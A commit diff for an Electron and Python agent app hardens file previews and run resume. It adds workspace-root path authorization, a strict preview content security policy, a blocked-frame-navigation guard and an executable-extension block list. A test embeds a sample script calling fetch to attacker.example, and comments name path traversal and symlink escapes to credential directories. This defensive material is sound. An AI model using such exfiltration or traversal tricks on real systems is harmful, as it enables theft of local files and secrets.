fix durable resume and preview security boundaries

This commit is contained in:
4pmtong 2026-08-07 23:43:23 +08:00
parent 8ee0621e20
commit 89f00289bc
18 changed files with 952 additions and 80 deletions

View file

@ -288,9 +288,16 @@ def _list_task_changed_files(
except (OSError, ValueError):
continue
try:
stat_result = path.stat()
except OSError:
# The artifact list races with tools that atomically replace or
# remove generated files. One vanished file must not fail the
# whole Files changed panel.
continue
seen_paths.add(identity)
remaining -= 1
stat_result = path.stat()
result.append(
{
"filename": path.name,

View file

@ -30,7 +30,7 @@ from contextlib import suppress
from dataclasses import asdict
from typing import Any
from fastapi import APIRouter, Depends, HTTPException, Query
from fastapi import APIRouter, Depends, Header, HTTPException, Query
from fastapi.responses import StreamingResponse
from pydantic import BaseModel, Field
@ -554,10 +554,19 @@ async def get_run_events(
async def stream_run_events(
run_id: str,
after_sequence: int = Query(default=0, ge=0),
last_event_id: str | None = Header(default=None, alias="Last-Event-ID"),
):
await _load_run_or_404(run_id)
reconnect_sequence = after_sequence
if isinstance(last_event_id, str):
try:
parsed_last_event_id = int(last_event_id)
except ValueError:
parsed_last_event_id = -1
if parsed_last_event_id >= 0:
reconnect_sequence = max(reconnect_sequence, parsed_last_event_id)
return StreamingResponse(
_durable_event_stream(run_id, after_sequence=after_sequence),
_durable_event_stream(run_id, after_sequence=reconnect_sequence),
media_type="text/event-stream",
)

View file

@ -7666,7 +7666,12 @@ class SQLiteRunJournal:
connection.execute(
"""
UPDATE run_attempts
SET status = ?, ended_at = COALESCE(ended_at, ?),
SET status = ?, ended_at = COALESCE(
ended_at,
last_consumer_heartbeat_at,
started_at,
?
),
outcome = COALESCE(outcome, ?)
WHERE run_id = ?
AND status IN ('pending', 'running', 'waiting_for_user')

View file

@ -14,6 +14,7 @@
import os
import time
from pathlib import Path
from types import SimpleNamespace
from unittest.mock import MagicMock
@ -187,6 +188,43 @@ def test_task_changes_exclude_files_written_after_run_attempt(tmp_path):
]
def test_task_changes_skip_file_deleted_between_walk_and_stat(
monkeypatch, tmp_path
):
output_root = tmp_path / "outputs"
output_root.mkdir()
disappearing = output_root / "ephemeral.txt"
disappearing.write_text("temporary", encoding="utf-8")
original_stat = Path.stat
target_stat_calls = 0
monkeypatch.setattr(
file_controller,
"list_files",
lambda *_args, **_kwargs: [str(disappearing)],
)
def disappearing_stat(path, *args, **kwargs):
nonlocal target_stat_calls
if path == disappearing:
target_stat_calls += 1
if target_stat_calls >= 2:
raise FileNotFoundError(path)
return original_stat(path, *args, **kwargs)
monkeypatch.setattr(Path, "stat", disappearing_stat)
files = file_controller._list_task_changed_files(
SimpleNamespace(
task_output_root=str(output_root),
working_directory=str(output_root),
task_start_time=time.time() - 10,
)
)
assert files == []
def test_task_changes_endpoint_freezes_completed_run_manifest(
monkeypatch, tmp_path
):

View file

@ -238,4 +238,6 @@ async def test_list_project_runs_reads_canonical_interrupted_state(tmp_path):
assert [run["run_id"] for run in result["runs"]] == ["older"]
assert result["runs"][0]["status"] == "interrupted"
assert result["runs"][0]["total_attempt_elapsed_ms"] == 1000
# Startup recovery must not count the unobserved process-down interval as
# active execution time. This attempt never persisted a later heartbeat.
assert result["runs"][0]["total_attempt_elapsed_ms"] == 0

View file

@ -206,3 +206,36 @@ async def test_stream_subscribes_before_replay_and_deduplicates_by_sequence():
await stream.__anext__()
await coordinator.close()
@pytest.mark.asyncio
async def test_stream_resumes_from_last_event_id_on_transport_reconnect():
events = [_event(1, "confirmed"), _event(2, "end")]
journal = MagicMock()
journal.get_run.return_value = _run_record()
journal.list_events.side_effect = lambda run_id, *, after_sequence, limit: [
event for event in events if event.sequence > after_sequence
][:limit]
coordinator = RunCoordinator()
with (
patch(
"app.controller.run_controller.get_default_run_journal",
return_value=journal,
),
patch(
"app.controller.run_controller.get_default_run_coordinator",
return_value=coordinator,
),
):
response = await stream_run_events(
"run-1", after_sequence=0, last_event_id="1"
)
stream = response.body_iterator
event_id, event_type, payload = _decode_sse(await stream.__anext__())
assert (event_id, event_type, payload["sequence"]) == (2, "run_event", 2)
journal.list_events.assert_called_with(
"run-1", after_sequence=1, limit=500
)
await coordinator.close()

View file

@ -42,6 +42,29 @@ def test_attempt_admission_is_idempotent_and_startup_interrupts_it(tmp_path):
)
def test_startup_interruption_ends_attempt_at_last_consumer_heartbeat(tmp_path):
path = tmp_path / "journal.sqlite3"
with SQLiteRunJournal(path) as journal:
journal.ensure_run(run_id="run-1", project_id="project-1")
attempt = journal.create_run_attempt(
"run-1",
request_id="initial:run-1",
reason="initial_execution",
activate=True,
now=10,
)
journal.heartbeat_attempt(attempt.attempt_id, now=12)
with SQLiteRunJournal(path) as reopened:
reopened.reconcile_startup(now=20 * 60 * 60)
recovered = reopened.get_run_attempt(attempt.attempt_id)
assert recovered is not None
assert recovered.status == "interrupted"
assert recovered.ended_at == 12
assert recovered.elapsed_active_ms == 2000
def test_attempt_replay_precedes_terminal_and_cancel_guards(tmp_path):
with SQLiteRunJournal(tmp_path / "journal.sqlite3") as journal:
journal.ensure_run(run_id="run-1", project_id="project-1")

View file

@ -53,6 +53,11 @@ import {
getInstallationStatus,
PromiseReturnType,
} from './install-deps';
import {
authorizeLocalFilePath,
isExecutableExternalOpenPath,
isMainRendererSender,
} from './localFileSecurity';
import { filePathFromLocalFileUrl } from './localFileUrl';
import { setRoundedCorners } from './native/macos-window';
import {
@ -104,6 +109,7 @@ let browser_port = 9222;
let use_external_cdp = false;
let proxyUrl: string | null = null;
const LEGACY_DESKTOP_INSTANCE_STORAGE_KEY = 'eigent_desktop_instance_id';
const activeLocalFileRoots = new Set<string>();
function resolveDesktopInstanceId(legacyRendererId?: string | null): string {
if (!desktopInstanceId) {
@ -143,6 +149,39 @@ const isHttpOrHttpsUrl = (url: unknown): url is string => {
}
};
function assertMainRendererSender(event: Electron.IpcMainInvokeEvent): void {
if (
!win ||
win.isDestroyed() ||
!isMainRendererSender(event.sender.id, win.webContents.id) ||
event.senderFrame !== event.sender.mainFrame
) {
throw new Error('This operation is restricted to the main renderer');
}
}
function localFileAllowedRoots(): string[] {
// Only active Space roots plus the renderer's static application assets are
// readable through localfile://. In particular, HOME, userData and the OS
// temp directory are not trust boundaries for agent-authored HTML.
return [...activeLocalFileRoots, RENDERER_DIST, VITE_PUBLIC];
}
async function requireAuthorizedPreviewFile(
event: Electron.IpcMainInvokeEvent,
filePath: string
): Promise<string> {
assertMainRendererSender(event);
const authorization = await authorizeLocalFilePath(
filePath,
localFileAllowedRoots()
);
if (!authorization.allowed) {
throw new Error('Preview file is outside the active workspace');
}
return authorization.filePath;
}
// CDP Browser Pool
interface CdpBrowser {
id: string;
@ -1109,6 +1148,32 @@ function registerIpcHandlers() {
typeof legacyRendererId === 'string' ? legacyRendererId : null
);
});
ipcMain.handle(
'set-local-file-preview-roots',
async (event, roots: unknown) => {
assertMainRendererSender(event);
if (!Array.isArray(roots) || roots.length > 4) {
throw new Error('Invalid local file preview roots');
}
const nextRoots = new Set<string>();
for (const root of roots) {
if (typeof root !== 'string' || !path.isAbsolute(root)) {
throw new Error('Local file preview roots must be absolute paths');
}
const realRoot = await fsp.realpath(root);
const stats = await fsp.stat(realRoot);
if (!stats.isDirectory()) {
throw new Error('Local file preview roots must be directories');
}
nextRoots.add(realRoot);
}
activeLocalFileRoots.clear();
nextRoots.forEach((root) => activeLocalFileRoots.add(root));
return { success: true, roots: activeLocalFileRoots.size };
}
);
// ==================== restart app handler ====================
ipcMain.handle('restart-app', async () => {
@ -1229,15 +1294,20 @@ function registerIpcHandlers() {
ipcMain.handle('read-file-dataurl', async (event, filePath) => {
try {
const stats = await fsp.stat(filePath);
const authorizedPath = await requireAuthorizedPreviewFile(
event,
filePath
);
const stats = await fsp.stat(authorizedPath);
if (stats.size > FILE_PREVIEW_LIMITS.imageBytes) {
throw new Error(
`FILE_PREVIEW_TOO_LARGE:${stats.size}:${FILE_PREVIEW_LIMITS.imageBytes}`
);
}
const file = fs.readFileSync(filePath);
const file = fs.readFileSync(authorizedPath);
const mimeType =
mime.getType(path.extname(filePath)) || 'application/octet-stream';
mime.getType(path.extname(authorizedPath)) ||
'application/octet-stream';
return `data:${mimeType};base64,${file.toString('base64')}`;
} catch (error: any) {
log.error('Failed to read file as data URL:', filePath, error);
@ -1759,12 +1829,27 @@ function registerIpcHandlers() {
}
});
ipcMain.handle('open-local-file', async (_event, filePath: string) => {
const stats = await fsp.stat(filePath).catch(() => null);
ipcMain.handle('open-local-file', async (event, filePath: string) => {
assertMainRendererSender(event);
const authorization = await authorizeLocalFilePath(
filePath,
localFileAllowedRoots()
);
if (!authorization.allowed) {
return { success: false, error: 'File is outside the active workspace' };
}
const stats = await fsp.stat(authorization.filePath).catch(() => null);
if (!stats?.isFile()) {
return { success: false, error: 'File does not exist' };
}
const error = await shell.openPath(filePath);
if (isExecutableExternalOpenPath(authorization.filePath, stats.mode)) {
shell.showItemInFolder(authorization.filePath);
return {
success: false,
error: 'Executable files cannot be opened from an agent result',
};
}
const error = await shell.openPath(authorization.filePath);
return error
? { success: false, error }
: { success: true, error: undefined };
@ -2139,27 +2224,48 @@ function registerIpcHandlers() {
// ==================== FileReader handler ====================
ipcMain.handle(
'open-file',
async (_, type: string, filePath: string, isShowSourceCode: boolean) => {
async (
event,
type: string,
filePath: string,
isShowSourceCode: boolean
) => {
const manager = checkManagerInstance(fileReader, 'FileReader');
return manager.openFile(type, filePath, isShowSourceCode);
const authorizedPath = await requireAuthorizedPreviewFile(
event,
filePath
);
return manager.openFile(type, authorizedPath, isShowSourceCode);
}
);
ipcMain.handle('get-file-preview-metadata', async (_, filePath: string) => {
const manager = checkManagerInstance(fileReader, 'FileReader');
return manager.getPreviewMetadata(filePath);
});
ipcMain.handle(
'get-file-preview-metadata',
async (event, filePath: string) => {
const manager = checkManagerInstance(fileReader, 'FileReader');
const authorizedPath = await requireAuthorizedPreviewFile(
event,
filePath
);
return manager.getPreviewMetadata(authorizedPath);
}
);
ipcMain.handle('preview-csv-file', async (_, filePath: string) => {
ipcMain.handle('preview-csv-file', async (event, filePath: string) => {
const manager = checkManagerInstance(fileReader, 'FileReader');
return manager.previewCsvFile(filePath);
const authorizedPath = await requireAuthorizedPreviewFile(event, filePath);
return manager.previewCsvFile(authorizedPath);
});
ipcMain.handle(
'preview-text-file',
async (_, filePath: string, limit?: number) => {
async (event, filePath: string, limit?: number) => {
const manager = checkManagerInstance(fileReader, 'FileReader');
return manager.previewTextFile(filePath, limit);
const authorizedPath = await requireAuthorizedPreviewFile(
event,
filePath
);
return manager.previewTextFile(authorizedPath, limit);
}
);
@ -2701,7 +2807,7 @@ async function createWindowInternal() {
// Use a dedicated partition for main window to isolate from webviews
// This ensures main window's auth data (localStorage) is stored separately and persists across restarts
partition: 'persist:main_window',
webSecurity: false,
webSecurity: true,
preload,
nodeIntegration: true,
contextIsolation: true,
@ -3204,6 +3310,16 @@ const setupExternalLinkHandling = () => {
}
// For internal URLs (localhost, hash navigation), allow navigation to proceed
});
// srcDoc report previews are sandboxed child frames. Never turn a scripted
// child-frame navigation into an outbound request: it could encode local
// workspace contents in the URL even when connect-src is disabled.
win.webContents.on('will-frame-navigate', (details) => {
if (!details.isMainFrame && isExternalUrl(details.url)) {
details.preventDefault();
log.warn('[HTML PREVIEW] Blocked external frame navigation');
}
});
};
// ==================== check and start backend ====================
@ -3473,44 +3589,27 @@ app.whenReady().then(async () => {
log.info(`[PROTOCOL] Handling localfile request: ${request.url}`);
log.info(`[PROTOCOL] Resolved path: ${filePath}`);
// Security: Restrict file access to allowed directories only.
// Without this check, path traversal (e.g. /../../../etc/passwd)
// would allow reading arbitrary files on the filesystem.
const allowedBases = [
os.homedir(),
app.getPath('userData'),
app.getPath('temp'),
];
const isPathAllowed = allowedBases.some((base) => {
const resolvedBase = path.resolve(base);
return (
filePath === resolvedBase ||
filePath.startsWith(resolvedBase + path.sep)
);
});
if (!isPathAllowed) {
const authorization = await authorizeLocalFilePath(
filePath,
localFileAllowedRoots()
);
if (!authorization.allowed) {
log.error(
`[PROTOCOL] Security: Blocked access to path outside allowed directories: ${filePath}`
`[PROTOCOL] Security: Blocked local file (${authorization.reason}): ${filePath}`
);
return new Response(
authorization.reason === 'missing' ? 'File Not Found' : 'Forbidden',
{ status: authorization.reason === 'missing' ? 404 : 403 }
);
return new Response('Forbidden', { status: 403 });
}
const authorizedFilePath = authorization.filePath;
try {
// Check if file exists
const fileExists = await fsp
.access(filePath)
.then(() => true)
.catch(() => false);
if (!fileExists) {
log.error(`[PROTOCOL] File not found: ${filePath}`);
return new Response('File Not Found', { status: 404 });
}
const stats = await fsp.stat(filePath);
const stats = await fsp.stat(authorizedFilePath);
if (!stats.isFile()) return new Response('Not Found', { status: 404 });
const contentType = mime.getType(filePath) || 'application/octet-stream';
const contentType =
mime.getType(authorizedFilePath) || 'application/octet-stream';
const resolvedRange = resolveFileByteRange(
request.headers.get('range'),
stats.size
@ -3536,7 +3635,7 @@ app.whenReady().then(async () => {
return new Response(null, { status, headers });
}
const stream = fs.createReadStream(filePath, { start, end });
const stream = fs.createReadStream(authorizedFilePath, { start, end });
return new Response(Readable.toWeb(stream) as BodyInit, {
status,
headers,

View file

@ -0,0 +1,110 @@
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
import fsp from 'node:fs/promises';
import path from 'node:path';
const EXECUTABLE_FILE_EXTENSIONS = new Set([
'.app',
'.applescript',
'.bat',
'.cmd',
'.com',
'.command',
'.desktop',
'.dmg',
'.exe',
'.hta',
'.jar',
'.js',
'.jse',
'.lnk',
'.msi',
'.msp',
'.pkg',
'.ps1',
'.reg',
'.scpt',
'.sh',
'.url',
'.vbs',
'.vbe',
'.wsf',
]);
export type LocalFileAuthorization =
| { allowed: true; filePath: string }
| { allowed: false; reason: 'invalid' | 'missing' | 'outside-roots' };
export function isMainRendererSender(
senderId: number,
mainRendererId: number | null | undefined
): boolean {
return typeof mainRendererId === 'number' && senderId === mainRendererId;
}
function isPathInsideRoot(candidate: string, root: string): boolean {
const relative = path.relative(root, candidate);
return (
relative === '' ||
(!relative.startsWith('..') && !path.isAbsolute(relative))
);
}
/**
* Authorize an existing path against real filesystem roots.
*
* Both the candidate and roots are resolved through realpath so a symlink
* stored inside a workspace cannot escape to ~/.ssh, ~/.aws, or another
* location outside the active Space.
*/
export async function authorizeLocalFilePath(
candidatePath: string,
allowedRoots: Iterable<string>
): Promise<LocalFileAuthorization> {
if (!candidatePath || !path.isAbsolute(candidatePath)) {
return { allowed: false, reason: 'invalid' };
}
let realCandidate: string;
try {
realCandidate = await fsp.realpath(candidatePath);
} catch {
return { allowed: false, reason: 'missing' };
}
for (const root of allowedRoots) {
if (!root || !path.isAbsolute(root)) continue;
try {
const realRoot = await fsp.realpath(root);
if (isPathInsideRoot(realCandidate, realRoot)) {
return { allowed: true, filePath: realCandidate };
}
} catch {
// A stale or missing workspace binding grants no access.
}
}
return { allowed: false, reason: 'outside-roots' };
}
export function isExecutableExternalOpenPath(
filePath: string,
mode = 0
): boolean {
return (
EXECUTABLE_FILE_EXTENSIONS.has(path.extname(filePath).toLowerCase()) ||
(mode & 0o111) !== 0
);
}

View file

@ -72,7 +72,10 @@ import {
inlineLocalProjectImagePaths,
toLocalFileUrl,
} from '@/lib/htmlLocalAssets';
import { containsDangerousContent } from '@/lib/htmlSanitization';
import {
containsDangerousContent,
injectPreviewContentSecurityPolicy,
} from '@/lib/htmlSanitization';
import { isLocalWorkspaceSpace } from '@/lib/spaceLabel';
import {
formatFileSize,
@ -2623,7 +2626,9 @@ function HtmlRenderer({
const htmlWithStorageShim =
injectSandboxStorageShim(htmlWithInlineImages);
setProcessedHtml(
injectFontStyles(deferInlineScriptsUntilLoad(htmlWithStorageShim))
injectPreviewContentSecurityPolicy(
injectFontStyles(deferInlineScriptsUntilLoad(htmlWithStorageShim))
)
);
return;
}
@ -2718,12 +2723,20 @@ function HtmlRenderer({
);
// Set the processed HTML with font styles - iframe sandbox provides security
setProcessedHtml(injectFontStyles(htmlWithDeferredScripts));
setProcessedHtml(
injectPreviewContentSecurityPolicy(
injectFontStyles(htmlWithDeferredScripts)
)
);
};
processHtml().catch((error) => {
console.error('[HtmlRenderer] Failed to process HTML:', error);
setProcessedHtml(injectFontStyles(selectedFile.content || ''));
setProcessedHtml(
injectPreviewContentSecurityPolicy(
injectFontStyles(selectedFile.content || '')
)
);
});
}, [selectedFile, projectFiles, ipcRenderer, electronAPI]);
@ -2903,6 +2916,7 @@ export function FileViewerPanel({
onRevealFile,
onBreadcrumbSegmentClick,
onDownloadFile,
onOpenExternalFile,
onToggleSourceCode,
headerActionsExtra,
emptyState,

View file

@ -20,6 +20,7 @@ import { useHost } from '@/host';
import { useAuthStore } from '@/store/authStore';
import { hasAnyActiveRun } from '@/store/chatStore';
import { useInstallationUI } from '@/store/installationStore';
import { useSpaceStore } from '@/store/spaceStore';
import { useEffect, useState } from 'react';
import { Outlet } from 'react-router-dom';
import CloseNoticeDialog from '../Dialog/CloseNotice';
@ -35,6 +36,10 @@ const Layout = () => {
setInitState: _setInitState,
} = useAuthStore();
const [noticeOpen, setNoticeOpen] = useState(false);
const activeWorkspaceRoot = useSpaceStore((state) => {
const activeSpaceId = state.activeSpaceId;
return activeSpaceId ? state.spaces[activeSpaceId]?.rootPath || null : null;
});
//Get Chatstore for the active project's task
const { chatStore } = useChatStoreAdapter();
@ -53,6 +58,21 @@ const Layout = () => {
useInstallationSetup();
useEffect(() => {
if (!host?.ipcRenderer?.invoke) return;
void host.ipcRenderer
.invoke(
'set-local-file-preview-roots',
activeWorkspaceRoot ? [activeWorkspaceRoot] : []
)
.catch((error: unknown) => {
console.warn(
'[Layout] Failed to register the active workspace preview root:',
error
);
});
}, [activeWorkspaceRoot, host]);
useEffect(() => {
if (!host?.ipcRenderer || !host?.electronAPI) return;

View file

@ -0,0 +1,40 @@
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
import { describe, expect, it } from 'vitest';
import {
injectPreviewContentSecurityPolicy,
PREVIEW_CONTENT_SECURITY_POLICY,
} from './htmlSanitization';
describe('HTML preview CSP', () => {
it('replaces an agent-authored policy with the application policy', () => {
const html = injectPreviewContentSecurityPolicy(`<!doctype html>
<html><head>
<meta http-equiv="Content-Security-Policy" content="default-src *">
</head><body><script>fetch('https://attacker.example')</script></body></html>`);
const doc = new DOMParser().parseFromString(html, 'text/html');
const policies = doc.querySelectorAll(
'meta[http-equiv="Content-Security-Policy" i]'
);
expect(policies).toHaveLength(1);
expect(policies[0].getAttribute('content')).toBe(
PREVIEW_CONTENT_SECURITY_POLICY
);
expect(PREVIEW_CONTENT_SECURITY_POLICY).toContain("default-src 'none'");
expect(PREVIEW_CONTENT_SECURITY_POLICY).toContain("connect-src 'none'");
expect(PREVIEW_CONTENT_SECURITY_POLICY).not.toContain('https:');
});
});

View file

@ -31,6 +31,53 @@ export const DANGEROUS_PATTERNS = [
/contextIsolation/i,
];
export const PREVIEW_CONTENT_SECURITY_POLICY = [
"default-src 'none'",
"script-src 'unsafe-inline' data: blob: localfile:",
"style-src 'unsafe-inline' data: blob: localfile:",
'img-src data: blob: localfile:',
'font-src data: blob: localfile:',
'media-src data: blob: localfile:',
"connect-src 'none'",
"object-src 'none'",
"frame-src 'none'",
"child-src 'none'",
"form-action 'none'",
"navigate-to 'none'",
'worker-src blob:',
].join('; ');
/**
* Give every srcDoc preview its own deny-by-default policy. The iframe may run
* report scripts, but those scripts cannot fetch, beacon, submit, frame, or
* otherwise exfiltrate files obtained through localfile://.
*/
export function injectPreviewContentSecurityPolicy(html: string): string {
if (typeof DOMParser === 'undefined') return html;
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
const doctype = html.match(/<!doctype[^>]*>/i)?.[0] || '';
const head = doc.head || doc.createElement('head');
const existing = head.querySelector(
'meta[http-equiv="Content-Security-Policy" i]'
);
existing?.remove();
const policy = doc.createElement('meta');
policy.setAttribute('http-equiv', 'Content-Security-Policy');
policy.setAttribute('content', PREVIEW_CONTENT_SECURITY_POLICY);
head.prepend(policy);
if (!doc.head) {
const htmlElement = doc.documentElement || doc.createElement('html');
htmlElement.prepend(head);
if (!doc.documentElement) doc.appendChild(htmlElement);
}
return `${doctype}${doc.documentElement?.outerHTML || html}`;
}
/**
* Check if HTML content contains dangerous patterns that could attempt
* to access Electron/Node.js APIs.

View file

@ -0,0 +1,110 @@
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
import fsp from 'node:fs/promises';
import os from 'node:os';
import path from 'node:path';
import { afterEach, describe, expect, it } from 'vitest';
import {
authorizeLocalFilePath,
isExecutableExternalOpenPath,
isMainRendererSender,
} from '../../electron/main/localFileSecurity';
const temporaryDirectories: string[] = [];
async function temporaryDirectory(): Promise<string> {
const directory = await fsp.mkdtemp(path.join(os.tmpdir(), 'eigent-local-'));
temporaryDirectories.push(directory);
return directory;
}
afterEach(async () => {
await Promise.all(
temporaryDirectories
.splice(0)
.map((directory) => fsp.rm(directory, { recursive: true, force: true }))
);
});
describe('local file security', () => {
it('keeps the main renderer web security and frame-navigation guard enabled', async () => {
const mainSource = await fsp.readFile(
path.resolve(process.cwd(), 'electron/main/index.ts'),
'utf8'
);
expect(mainSource).toContain('webSecurity: true');
expect(mainSource).not.toContain('webSecurity: false');
expect(mainSource).toContain("'will-frame-navigate'");
});
it('allows files inside the active workspace and rejects traversal outside it', async () => {
const root = await temporaryDirectory();
const workspace = path.join(root, 'workspace');
const outside = path.join(root, 'credentials');
await fsp.mkdir(workspace);
await fsp.writeFile(path.join(workspace, 'report.html'), '<h1>safe</h1>');
await fsp.writeFile(outside, 'secret');
const realReportPath = await fsp.realpath(
path.join(workspace, 'report.html')
);
await expect(
authorizeLocalFilePath(path.join(workspace, 'report.html'), [workspace])
).resolves.toEqual({
allowed: true,
filePath: realReportPath,
});
await expect(
authorizeLocalFilePath(path.join(workspace, '..', 'credentials'), [
workspace,
])
).resolves.toEqual({ allowed: false, reason: 'outside-roots' });
});
it('rejects a symlink that escapes the active workspace', async () => {
const root = await temporaryDirectory();
const workspace = path.join(root, 'workspace');
const secret = path.join(root, 'secret.txt');
const link = path.join(workspace, 'linked-secret.txt');
await fsp.mkdir(workspace);
await fsp.writeFile(secret, 'secret');
await fsp.symlink(secret, link);
await expect(authorizeLocalFilePath(link, [workspace])).resolves.toEqual({
allowed: false,
reason: 'outside-roots',
});
});
it('blocks executable files from external-open actions', () => {
expect(isExecutableExternalOpenPath('/workspace/install.command')).toBe(
true
);
expect(isExecutableExternalOpenPath('C:\\workspace\\payload.BAT')).toBe(
true
);
expect(isExecutableExternalOpenPath('/workspace/no-extension', 0o755)).toBe(
true
);
expect(isExecutableExternalOpenPath('/workspace/report.pdf')).toBe(false);
});
it('accepts IPC only from the main renderer', () => {
expect(isMainRendererSender(7, 7)).toBe(true);
expect(isMainRendererSender(8, 7)).toBe(false);
expect(isMainRendererSender(7, null)).toBe(false);
});
});

View file

@ -217,9 +217,14 @@ export function decideFilePreview(
return { mode: 'full', limit };
}
const limit = OFFICE_TYPES.has(normalized)
? FILE_PREVIEW_LIMITS.officeBytes
: FILE_PREVIEW_LIMITS.defaultBytes;
if (!OFFICE_TYPES.has(normalized)) {
// Unknown files may be binary and their size says nothing about the cost
// of decoding and mounting a giant <pre>. Keep every unrecognised format
// on the same bounded reader used by known text files.
return { mode: 'bounded-text', limit: FILE_PREVIEW_LIMITS.textBytes };
}
const limit = FILE_PREVIEW_LIMITS.officeBytes;
if (size === null) {
return {
mode: 'blocked',

View file

@ -12,13 +12,32 @@
// limitations under the License.
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
import { describe, expect, it } from 'vitest';
import { describe, expect, it, vi } from 'vitest';
import {
acceptCanonicalRunEvent,
admitDurableRunResume,
canonicalRunEventToLegacyMessage,
createCanonicalRunEventCursor,
mergeFileInfoLists,
normalizeTaskArtifactFileList,
} from './chatStore';
describe('canonical Run replay projection', () => {
it('surfaces Resume admission failures before execution starts', async () => {
const error = Object.assign(new Error('Unsafe tool outcome'), {
status: 409,
});
const post = vi.fn().mockRejectedValue(error);
await expect(
admitDurableRunResume('run/unsafe', 'resume-request-1', post)
).rejects.toBe(error);
expect(post).toHaveBeenCalledWith('/runs/run%2Funsafe/resume', {
request_id: 'resume-request-1',
reason: 'explicit_resume',
});
});
it('unwraps legacy UI events and ignores typed-only/control events', () => {
expect(
canonicalRunEventToLegacyMessage({
@ -47,6 +66,27 @@ describe('canonical Run replay projection', () => {
).toBeNull();
});
it('deduplicates reconnect replay by sequence and event_id', () => {
const cursor = createCanonicalRunEventCursor();
const first = { sequence: 1, event_id: 'event-1' };
expect(acceptCanonicalRunEvent(cursor, first, '1')).toBe(true);
expect(acceptCanonicalRunEvent(cursor, first, '1')).toBe(false);
expect(
acceptCanonicalRunEvent(cursor, {
sequence: 2,
event_id: 'event-1',
})
).toBe(false);
expect(
acceptCanonicalRunEvent(cursor, {
sequence: 2,
event_id: 'event-2',
})
).toBe(true);
expect(cursor.lastSequence).toBe(2);
});
it('keeps same-named files when their workspace-relative paths differ', () => {
const artifacts = Array.from({ length: 21 }, (_, index) => ({
filename: 'index.html',
@ -70,5 +110,68 @@ describe('canonical Run replay projection', () => {
artifactChange: 'generated',
})
);
expect(mergeFileInfoLists([], files)).toHaveLength(21);
expect(
mergeFileInfoLists(
[
{
name: 'index.html',
type: 'html',
path: '/workspace/chapter-2/lesson-1/index.html',
},
],
[files[0]]
)
).toHaveLength(1);
});
it('matches URL-encoded stream paths and legacy x-prefixed paths', () => {
expect(
mergeFileInfoLists(
[
{
name: 'report.csv',
type: 'csv',
path: '/files/stream?path=reports%2Freport.csv&project_id=1',
isRemote: true,
},
],
[
{
name: 'report.csv',
type: 'csv',
path: '/workspace/reports/report.csv',
relativePath: 'reports/report.csv',
artifactChange: 'changed',
},
]
)
).toMatchObject([
{
path: '/files/stream?path=reports%2Freport.csv&project_id=1',
artifactChange: 'changed',
},
]);
expect(
mergeFileInfoLists(
[
{
name: 'report.csv',
type: 'csv',
path: 'x:/Users/test/report.csv',
},
],
[
{
name: 'report.csv',
type: 'csv',
path: '/Users/test/report.csv',
},
]
)
).toHaveLength(1);
});
});

View file

@ -86,6 +86,17 @@ const PROJECT_CONTEXT_MAX_RUNS = 8;
// end step.
const MAX_CHAT_HISTORY_SUMMARY_LENGTH = 1024;
export async function admitDurableRunResume(
runId: string,
requestId: string,
post: typeof fetchPost = fetchPost
): Promise<void> {
await post(`/runs/${encodeURIComponent(runId)}/resume`, {
request_id: requestId,
reason: 'explicit_resume',
});
}
/** Adapt a canonical RunEvent to the legacy message reducer during migration. */
export const canonicalRunEventToLegacyMessage = (
value: unknown
@ -112,6 +123,62 @@ export const canonicalRunEventToLegacyMessage = (
} as AgentMessage;
};
export interface CanonicalRunEventCursor {
lastSequence: number;
recentEventIds: Set<string>;
eventIdOrder: string[];
}
const CANONICAL_EVENT_ID_WINDOW = 2048;
export function createCanonicalRunEventCursor(
afterSequence = 0
): CanonicalRunEventCursor {
return {
lastSequence: Math.max(0, Math.trunc(afterSequence)),
recentEventIds: new Set<string>(),
eventIdOrder: [],
};
}
/** Sequence is the primary replay boundary; event_id is defense in depth. */
export function acceptCanonicalRunEvent(
cursor: CanonicalRunEventCursor,
value: unknown,
sseEventId?: unknown
): boolean {
if (!value || typeof value !== 'object') return false;
const envelope = value as { sequence?: unknown; event_id?: unknown };
const sequenceCandidate =
typeof envelope.sequence === 'number'
? envelope.sequence
: typeof sseEventId === 'string' && sseEventId.trim()
? Number(sseEventId)
: NaN;
const sequence = Number.isInteger(sequenceCandidate)
? sequenceCandidate
: null;
const eventId =
typeof envelope.event_id === 'string' && envelope.event_id
? envelope.event_id
: undefined;
if (sequence === null && !eventId) return false;
if (sequence !== null && sequence <= cursor.lastSequence) return false;
if (eventId && cursor.recentEventIds.has(eventId)) return false;
if (sequence !== null) cursor.lastSequence = sequence;
if (eventId) {
cursor.recentEventIds.add(eventId);
cursor.eventIdOrder.push(eventId);
if (cursor.eventIdOrder.length > CANONICAL_EVENT_ID_WINDOW) {
const expired = cursor.eventIdOrder.shift();
if (expired) cursor.recentEventIds.delete(expired);
}
}
return true;
}
const clampHistorySummary = (
value: string | undefined | null
): string | undefined =>
@ -1153,15 +1220,69 @@ async function loadTaskArtifactFileList({
}
}
